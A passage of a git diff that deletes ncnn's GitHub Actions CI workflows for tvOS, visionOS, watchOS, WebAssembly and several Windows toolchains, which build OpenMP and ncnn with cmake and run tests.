$GITHUB_WORKSPACE/openmp-install/tvos - mkdir -p $GITHUB_WORKSPACE/openmp-install/tvos/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-arm64e/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/tvos/lib/libomp.a - - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-simulator-x86_64/install/include $GITHUB_WORKSPACE/openmp-install/tvos-simulator - mkdir -p $GITHUB_WORKSPACE/openmp-install/tvos-simulator/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-simulator-x86_64/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-simulator-arm64/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/tvos-simulator/lib/libomp.a - - - name: install-openmp - run: | - sudo cp $GITHUB_WORKSPACE/openmp-install/tvos/include/* $DEVELOPER_DIR/Platforms/AppleTVOS.platform/Developer/SDKs/AppleTVOS.sdk/usr/include - sudo cp $GITHUB_WORKSPACE/openmp-install/tvos/lib/libomp.a $DEVELOPER_DIR/Platforms/AppleTVOS.platform/Developer/SDKs/AppleTVOS.sdk/usr/lib - - sudo cp $GITHUB_WORKSPACE/openmp-install/tvos-simulator/include/* $DEVELOPER_DIR/Platforms/AppleTVSimulator.platform/Developer/SDKs/AppleTVSimulator.sdk/usr/include - sudo cp $GITHUB_WORKSPACE/openmp-install/tvos-simulator/lib/libomp.a $DEVELOPER_DIR/Platforms/AppleTVSimulator.platform/Developer/SDKs/AppleTVSimulator.sdk/usr/lib - - - name: moltenvk - run: | - wget -q https://github.com/KhronosGroup/MoltenVK/releases/download/${{ env.MOLTENVK_VERSION }}/MoltenVK-all.tar - tar -xf MoltenVK-all.tar - - - name: arm64 - run: | - mkdir build-arm64 && cd build-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=TVOS -DARCHS="arm64" \ - -DVulkan_LIBRARY=$GITHUB_WORKSPACE/MoltenVK/MoltenVK/static/MoltenVK.xcframework/tvos-arm64_arm64e/libMoltenVK.a .. - cmake --build . -j 4 - - name: arm64e - run: | - mkdir build-arm64e && cd build-arm64e - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=TVOS -DARCHS="arm64e" \ - -DVulkan_LIBRARY=$GITHUB_WORKSPACE/MoltenVK/MoltenVK/static/MoltenVK.xcframework/tvos-arm64_arm64e/libMoltenVK.a .. - cmake --build . -j 4 - - name: simulator-x86_64 - run: | - mkdir build-simulator-x86_64 && cd build-simulator-x86_64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_TVOS -DARCHS="x86_64" \ - -DVulkan_LIBRARY=$GITHUB_WORKSPACE/MoltenVK/MoltenVK/static/MoltenVK.xcframework/tvos-arm64_x86_64-simulator/libMoltenVK.a .. - cmake --build . -j 4 - - name: simulator-arm64 - run: | - mkdir build-simulator-arm64 && cd build-simulator-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATORARM64_TVOS -DARCHS="arm64" \ - -DVulkan_LIBRARY=$GITHUB_WORKSPACE/MoltenVK/MoltenVK/static/MoltenVK.xcframework/tvos-arm64_x86_64-simulator/libMoltenVK.a .. - cmake --build . -j 4 diff --git a/.github/workflows/visionos.yml b/.github/workflows/visionos.yml deleted file mode 100644 index c1da0d9a948a..000000000000 --- a/.github/workflows/visionos.yml +++ /dev/null @@ -1,153 +0,0 @@ -name: visionos -on: - push: - branches: [master] - paths: - - '.github/workflows/visionos.yml' - - 'toolchains/ios.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/visionos.yml' - - 'toolchains/ios.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' -concurrency: - group: visionos-${{ github.ref }} - cancel-in-progress: true -env: - DEVELOPER_DIR: /Applications/Xcode_15.2.app/Contents/Developer - VISIONOS_DEPLOYMENT_TARGET: '1.0' - ENABLE_BITCODE: OFF - ENABLE_ARC: OFF - ENABLE_VISIBILITY: OFF -permissions: - contents: read - -jobs: - build: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$VISIONOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$VISIONOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - - steps: - - uses: actions/checkout@v4 - - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-visionos-install-20240402 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: openmp-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64 && cd build-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=VISIONOS -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-simulator-x86_64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-simulator-x86_64 && cd build-simulator-x86_64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_VISIONOS -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-simulator-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-simulator-arm64 && cd build-simulator-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_VISIONOS -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - mkdir -p $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/visionos - mkdir -p $GITHUB_WORKSPACE/openmp-install/visionos-simulator - - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/include $GITHUB_WORKSPACE/openmp-install/visionos - mkdir -p $GITHUB_WORKSPACE/openmp-install/visionos/lib - cp openmp-${{ env.OPENMP_VERSION }}.src/build-arm64/install/lib/libomp.a $GITHUB_WORKSPACE/openmp-install/visionos/lib/libomp.a - - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-simulator-x86_64/install/include $GITHUB_WORKSPACE/openmp-install/visionos-simulator - mkdir -p $GITHUB_WORKSPACE/openmp-install/visionos-simulator/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-simulator-x86_64/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-simulator-arm64/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/visionos-simulator/lib/libomp.a - - - name: install-openmp - run: | - sudo cp $GITHUB_WORKSPACE/openmp-install/visionos/include/* $DEVELOPER_DIR/Platforms/XROS.platform/Developer/SDKs/XROS.sdk/usr/include - sudo cp $GITHUB_WORKSPACE/openmp-install/visionos/lib/libomp.a $DEVELOPER_DIR/Platforms/XROS.platform/Developer/SDKs/XROS.sdk/usr/lib - - sudo cp $GITHUB_WORKSPACE/openmp-install/visionos-simulator/include/* $DEVELOPER_DIR/Platforms/XRSimulator.platform/Developer/SDKs/XRSimulator.sdk/usr/include - sudo cp $GITHUB_WORKSPACE/openmp-install/visionos-simulator/lib/libomp.a $DEVELOPER_DIR/Platforms/XRSimulator.platform/Developer/SDKs/XRSimulator.sdk/usr/lib - - - name: arm64 - run: | - mkdir build-arm64 && cd build-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=VISIONOS -DARCHS="arm64" .. - cmake --build . -j 4 - - name: simulator-x86_64 - run: | - mkdir build-simulator-x86_64 && cd build-simulator-x86_64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_VISIONOS -DARCHS="x86_64" .. - cmake --build . -j 4 - - name: simulator-arm64 - run: | - mkdir build-simulator-arm64 && cd build-simulator-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_VISIONOS -DARCHS="arm64" .. - cmake --build . -j 4 diff --git a/.github/workflows/watchos.yml b/.github/workflows/watchos.yml deleted file mode 100644 index 042c6c3ed540..000000000000 --- a/.github/workflows/watchos.yml +++ /dev/null @@ -1,170 +0,0 @@ -name: watchos -on: - push: - branches: [master] - paths: - - '.github/workflows/watchos.yml' - - 'toolchains/ios.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/watchos.yml' - - 'toolchains/ios.toolchain.cmake' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' -concurrency: - group: watchos-${{ github.ref }} - cancel-in-progress: true -env: - DEVELOPER_DIR: /Applications/Xcode_15.2.app/Contents/Developer - WATCHOS_DEPLOYMENT_TARGET: '6.0' - ENABLE_BITCODE: OFF - ENABLE_ARC: OFF - ENABLE_VISIBILITY: OFF -permissions: - contents: read - -jobs: - build: - runs-on: macos-13 - env: - OPENMP_VERSION: '18.1.2' - OPENMP_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$WATCHOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DPERL_EXECUTABLE=/usr/local/bin/perl \ - -DLIBOMP_ENABLE_SHARED=OFF \ - -DLIBOMP_OMPT_SUPPORT=OFF \ - -DLIBOMP_USE_HWLOC=OFF \ - - NCNN_CMAKE_OPTIONS: | - -DCMAKE_TOOLCHAIN_FILE=../toolchains/ios.toolchain.cmake \ - -DDEPLOYMENT_TARGET=$WATCHOS_DEPLOYMENT_TARGET \ - -DENABLE_BITCODE=$ENABLE_BITCODE \ - -DENABLE_ARC=$ENABLE_ARC \ - -DENABLE_VISIBILITY=$ENABLE_VISIBILITY \ - -DCMAKE_INSTALL_PREFIX=install \ - -DCMAKE_BUILD_TYPE=Release \ - -DOpenMP_C_FLAGS="-Xclang -fopenmp" -DOpenMP_CXX_FLAGS="-Xclang -fopenmp" \ - -DOpenMP_C_LIB_NAMES="libomp" -DOpenMP_CXX_LIB_NAMES="libomp" \ - -DOpenMP_libomp_LIBRARY="libomp.a" \ - - steps: - - uses: actions/checkout@v4 - - - name: cache-openmp - id: cache-openmp - uses: actions/cache@v4 - with: - path: openmp-install - key: openmp-watchos-install-20240402 - - name: openmp - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf cmake-${{ env.OPENMP_VERSION }}.src.tar.xz - wget https://github.com/llvm/llvm-project/releases/download/llvmorg-${{ env.OPENMP_VERSION }}/openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - tar -xf openmp-${{ env.OPENMP_VERSION }}.src.tar.xz - mv cmake-${{ env.OPENMP_VERSION }}.src/Modules/* openmp-${{ env.OPENMP_VERSION }}.src/cmake/ - cd openmp-${{ env.OPENMP_VERSION }}.src - wget https://github.com/nihui/llvm-project/commit/ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - patch -p2 -i ef8c35bcf5d9cfdb0764ffde6a63c04ec715bc37.patch - wget https://github.com/nihui/llvm-project/commit/5c12711f9a21f41bea70566bf15a4026804d6b20.patch - patch -p2 -i 5c12711f9a21f41bea70566bf15a4026804d6b20.patch - - name: openmp-armv7k - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-armv7k && cd build-armv7k - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=WATCHOS -DARCHS="armv7k" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-arm64_32 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-arm64_32 && cd build-arm64_32 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=WATCHOS -DARCHS="arm64_32" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-simulator-x86_64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-simulator-x86_64 && cd build-simulator-x86_64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_WATCHOS -DARCHS="x86_64" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-simulator-arm64 - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - cd openmp-${{ env.OPENMP_VERSION }}.src - mkdir -p build-simulator-arm64 && cd build-simulator-arm64 - cmake ${{ env.OPENMP_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_WATCHOS -DARCHS="arm64" .. - cmake --build . -j 4 - cmake --build . --target install - - name: openmp-merge-fat-library - if: steps.cache-openmp.outputs.cache-hit != 'true' - run: | - mkdir -p $GITHUB_WORKSPACE/openmp-install - mkdir -p $GITHUB_WORKSPACE/openmp-install/watchos - mkdir -p $GITHUB_WORKSPACE/openmp-install/watchos-simulator - - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-arm64_32/install/include $GITHUB_WORKSPACE/openmp-install/watchos - mkdir -p $GITHUB_WORKSPACE/openmp-install/watchos/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-armv7k/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-arm64_32/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/watchos/lib/libomp.a - - cp -a openmp-${{ env.OPENMP_VERSION }}.src/build-simulator-x86_64/install/include $GITHUB_WORKSPACE/openmp-install/watchos-simulator - mkdir -p $GITHUB_WORKSPACE/openmp-install/watchos-simulator/lib - lipo -create \ - openmp-${{ env.OPENMP_VERSION }}.src/build-simulator-x86_64/install/lib/libomp.a \ - openmp-${{ env.OPENMP_VERSION }}.src/build-simulator-arm64/install/lib/libomp.a \ - -o $GITHUB_WORKSPACE/openmp-install/watchos-simulator/lib/libomp.a - - - name: install-openmp - run: | - sudo cp $GITHUB_WORKSPACE/openmp-install/watchos/include/* $DEVELOPER_DIR/Platforms/WatchOS.platform/Developer/SDKs/WatchOS.sdk/usr/include - sudo cp $GITHUB_WORKSPACE/openmp-install/watchos/lib/libomp.a $DEVELOPER_DIR/Platforms/WatchOS.platform/Developer/SDKs/WatchOS.sdk/usr/lib - - sudo cp $GITHUB_WORKSPACE/openmp-install/watchos-simulator/include/* $DEVELOPER_DIR/Platforms/WatchSimulator.platform/Developer/SDKs/WatchSimulator.sdk/usr/include - sudo cp $GITHUB_WORKSPACE/openmp-install/watchos-simulator/lib/libomp.a $DEVELOPER_DIR/Platforms/WatchSimulator.platform/Developer/SDKs/WatchSimulator.sdk/usr/lib - - - name: armv7k - run: | - mkdir build-armv7k && cd build-armv7k - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=WATCHOS -DARCHS="armv7k" .. - cmake --build . -j 4 - - name: arm64_32 - run: | - mkdir build-arm64_32 && cd build-arm64_32 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=WATCHOS -DARCHS="arm64_32" .. - cmake --build . -j 4 - - - name: simulator-x86_64 - run: | - mkdir build-simulator-x86_64 && cd build-simulator-x86_64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_WATCHOS -DARCHS="x86_64" .. - cmake --build . -j 4 - - name: simulator-arm64 - run: | - mkdir build-simulator-arm64 && cd build-simulator-arm64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} -DPLATFORM=SIMULATOR_WATCHOS -DARCHS="arm64" .. - cmake --build . -j 4 diff --git a/.github/workflows/web-assembly.yml b/.github/workflows/web-assembly.yml deleted file mode 100644 index 1b5e8915a866..000000000000 --- a/.github/workflows/web-assembly.yml +++ /dev/null @@ -1,76 +0,0 @@ -name: web-assembly -on: - push: - branches: [master] - paths: - - '.github/workflows/web-assembly.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/web-assembly.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'tests/**' - -env: - EMSCRIPTEN_VERSION: 3.1.28 - -concurrency: - group: web-assembly-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - webassembly: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - - name: emsdk - run: | - git clone https://github.com/emscripten-core/emsdk.git - cd emsdk - ./emsdk install $EMSCRIPTEN_VERSION - ./emsdk activate $EMSCRIPTEN_VERSION - - name: build-basic - run: | - source emsdk/emsdk_env.sh - export LDFLAGS="-sERROR_ON_WASM_CHANGES_AFTER_LINK -sWASM_BIGINT -O1" - mkdir build-basic && cd build-basic - cmake -DCMAKE_TOOLCHAIN_FILE=$EMSDK/upstream/emscripten/cmake/Modules/Platform/Emscripten.cmake -DNCNN_THREADS=OFF -DNCNN_OPENMP=OFF -DNCNN_SIMPLEOMP=OFF -DNCNN_SIMPLEOCV=ON -DNCNN_RUNTIME_CPU=OFF -DNCNN_SSE2=OFF -DNCNN_AVX2=OFF -DNCNN_AVX=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-basic - run: | - cd build-basic - TESTS_EXECUTABLE_LOADER=node ctest --output-on-failure -j $(nproc) - - name: build-simd - run: | - source emsdk/emsdk_env.sh - export LDFLAGS="-sERROR_ON_WASM_CHANGES_AFTER_LINK -sWASM_BIGINT -O1" - mkdir build-simd && cd build-simd - cmake -DCMAKE_TOOLCHAIN_FILE=$EMSDK/upstream/emscripten/cmake/Modules/Platform/Emscripten.cmake -DNCNN_THREADS=OFF -DNCNN_OPENMP=OFF -DNCNN_SIMPLEOMP=OFF -DNCNN_SIMPLEOCV=ON -DNCNN_RUNTIME_CPU=OFF -DNCNN_SSE2=ON -DNCNN_AVX2=OFF -DNCNN_AVX=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-simd - run: | - cd build-simd - TESTS_EXECUTABLE_LOADER=node TESTS_EXECUTABLE_LOADER_ARGUMENTS="--experimental-wasm-simd" ctest --output-on-failure -j $(nproc) - - name: build-simd-omp - run: | - source emsdk/emsdk_env.sh - export LDFLAGS="-sERROR_ON_WASM_CHANGES_AFTER_LINK -sWASM_BIGINT -O1" - mkdir build-simd-omp && cd build-simd-omp - cmake -DCMAKE_TOOLCHAIN_FILE=$EMSDK/upstream/emscripten/cmake/Modules/Platform/Emscripten.cmake -DNCNN_THREADS=ON -DNCNN_OPENMP=ON -DNCNN_SIMPLEOMP=ON -DNCNN_SIMPLEOCV=ON -DNCNN_RUNTIME_CPU=OFF -DNCNN_SSE2=ON -DNCNN_AVX2=OFF -DNCNN_AVX=OFF -DNCNN_BUILD_TESTS=ON .. - cmake --build . -j $(nproc) - - name: test-simd-omp - run: | - cd build-simd-omp - TESTS_EXECUTABLE_LOADER=node TESTS_EXECUTABLE_LOADER_ARGUMENTS="--experimental-wasm-simd;--experimental-wasm-threads" ctest --output-on-failure -j $(nproc) diff --git a/.github/workflows/windows-arm.yml b/.github/workflows/windows-arm.yml deleted file mode 100644 index 6c4c54585f15..000000000000 --- a/.github/workflows/windows-arm.yml +++ /dev/null @@ -1,105 +0,0 @@ -name: windows-arm -on: - push: - branches: [master] - paths: - - '.github/workflows/windows-arm.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/vulkan/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/windows-arm.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/vulkan/**' - - 'tests/**' -concurrency: - group: windows-arm-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - windows: - name: ${{ matrix.vs-version }} - runs-on: ${{ matrix.os }} - strategy: - matrix: - include: - - vs-version: vs2019 - toolset-version: v142 - os: windows-2022 - - - vs-version: vs2022 - toolset-version: v143 - os: windows-2022 - - env: - UseMultiToolTask: true - NCNN_CMAKE_OPTIONS: -DNCNN_BUILD_TESTS=OFF -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF -DNCNN_VULKAN=ON - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - name: arm64 - run: | - mkdir build-arm64; cd build-arm64 - cmake -T ${{ matrix.toolset-version }},host=x64 -A arm64 ${{ env.NCNN_CMAKE_OPTIONS }} .. - cmake --build . --config Release -j 4 - - name: arm - run: | - mkdir build-arm; cd build-arm - cmake -T ${{ matrix.toolset-version }},host=x64 -A arm ${{ env.NCNN_CMAKE_OPTIONS }} .. - cmake --build . --config Release -j 4 - - name: arm64-shared - run: | - mkdir build-arm64-shared; cd build-arm64-shared - cmake -T ${{ matrix.toolset-version }},host=x64 -A arm64 ${{ env.NCNN_CMAKE_OPTIONS }} -DNCNN_SHARED_LIB=ON .. - cmake --build . --config Release -j 4 - - name: arm-shared - run: | - mkdir build-arm-shared; cd build-arm-shared - cmake -T ${{ matrix.toolset-version }},host=x64 -A arm ${{ env.NCNN_CMAKE_OPTIONS }} -DNCNN_SHARED_LIB=ON .. - cmake --build . --config Release -j 4 - - woa-linux: - name: woa-linux - runs-on: ubuntu-latest - container: linaro/wine-arm64 - steps: - - uses: actions/checkout@v4 - - name: msvc-wine - env: - WINEPREFIX: /tmp/wine-x64-prefix/ - run: | - apt-get update - apt-get install -y wine64 python3 msitools python3-simplejson python3-six ca-certificates winbind cmake ninja-build meson - ln -s /usr/bin/wine /usr/bin/wine64 - xvfb-run winecfg & - git clone --depth 1 https://github.com/mstorsjo/msvc-wine - msvc-wine/vsdownload.py --accept-license --dest /msvc - msvc-wine/install.sh /msvc - - name: build - env: - WINEPREFIX: /tmp/wine-x64-prefix/ - CC: cl - CXX: cl - run: | - export PATH=/msvc/bin/arm64:$PATH - mkdir build && cd build - cmake -GNinja -DCMAKE_BUILD_TYPE=Release -DCMAKE_SYSTEM_NAME=Windows -DNCNN_BUILD_TESTS=ON .. - cmake --build . --config Release -j $(nproc) - - name: test - run: | - cd build - TESTS_EXECUTABLE_LOADER=wine-arm64 TESTS_EXECUTABLE_LOADER_ARGUMENTS="" ctest --output-on-failure -j $(nproc) diff --git a/.github/workflows/windows-clang.yml b/.github/workflows/windows-clang.yml deleted file mode 100644 index 6ad79a4b2499..000000000000 --- a/.github/workflows/windows-clang.yml +++ /dev/null @@ -1,85 +0,0 @@ -name: windows-clang -on: - push: - branches: [master] - paths: - - '.github/workflows/windows-clang.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/windows-clang.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/arm/**' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - - 'tests/**' -concurrency: - group: windows-clang-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - windows: - name: ClangCL - runs-on: windows-2022 - - env: - UseMultiToolTask: true - NCNN_CMAKE_OPTIONS: -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - - name: arm64 - run: | - mkdir build-arm64; cd build-arm64 - cmake -T ClangCL -A arm64 ${{ env.NCNN_CMAKE_OPTIONS }} -DNCNN_VULKAN=OFF .. - cmake --build . --config Release -j 4 - - - name: arm64-vulkan - run: | - mkdir build-arm64-vulkan; cd build-arm64-vulkan - cmake -T ClangCL -A arm64 ${{ env.NCNN_CMAKE_OPTIONS }} -DNCNN_VULKAN=ON -DNCNN_SHARED_LIB=ON .. - cmake --build . --config Release -j 4 - - - name: x86 - run: | - mkdir build-x86; cd build-x86 - cmake -T ClangCL -A Win32 ${{ env.NCNN_CMAKE_OPTIONS }} -DNCNN_BUILD_TESTS=ON -DNCNN_VULKAN=OFF .. - cmake --build . --config Release -j 4 - - name: x86-test - run: cd build-x86; ctest -C Release --output-on-failure -j 4 - - - name: x86-vulkan - run: | - mkdir build-x86-vulkan; cd build-x86-vulkan - cmake -T ClangCL -A Win32 ${{ env.NCNN_CMAKE_OPTIONS }} -DNCNN_VULKAN=ON -DNCNN_SHARED_LIB=ON .. - cmake --build . --config Release -j 4 - - - name: x64 - run: | - mkdir build-x64; cd build-x64 - cmake -T ClangCL -A x64 ${{ env.NCNN_CMAKE_OPTIONS }} -DNCNN_BUILD_TESTS=ON -DNCNN_VULKAN=OFF .. - cmake --build . --config Release -j 4 - - name: x64-test - run: cd build-x64; ctest -C Release --output-on-failure -j 4 - - - name: x64-vulkan - run: | - mkdir build-x64-vulkan; cd build-x64-vulkan - cmake -T ClangCL -A x64 ${{ env.NCNN_CMAKE_OPTIONS }} -DNCNN_VULKAN=ON -DNCNN_SHARED_LIB=ON .. - cmake --build . --config Release -j 4 diff --git a/.github/workflows/windows-mingw.yml b/.github/workflows/windows-mingw.yml deleted file mode 100644 index bce3c882ee84..000000000000 --- a/.github/workflows/windows-mingw.yml +++ /dev/null @@ -1,57 +0,0 @@ -name: windows-mingw -on: - push: - branches: [master] - paths: - - '.github/workflows/windows-mingw.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - - 'tests/**' - pull_request: - branches: [master] - paths: - - '.github/workflows/windows-mingw.yml' - - 'CMakeLists.txt' - - 'cmake/**' - - 'src/*' - - 'src/layer/*' - - 'src/layer/x86/**' - - 'src/layer/vulkan/**' - - 'tests/**' -concurrency: - group: windows-mingw-${{ github.ref }} - cancel-in-progress: true -permissions: - contents: read - -jobs: - windows: - name: MinGW-w64 - runs-on: windows-2022 - - env: - UseMultiToolTask: true - NCNN_CMAKE_OPTIONS: -DNCNN_BUILD_TOOLS=OFF -DNCNN_BUILD_EXAMPLES=OFF - - steps: - - uses: actions/checkout@v4 - with: - submodules: true - - - name: x64 - run: | - mkdir build-x64; cd build-x64 - cmake ${{ env.NCNN_CMAKE_OPTIONS }} 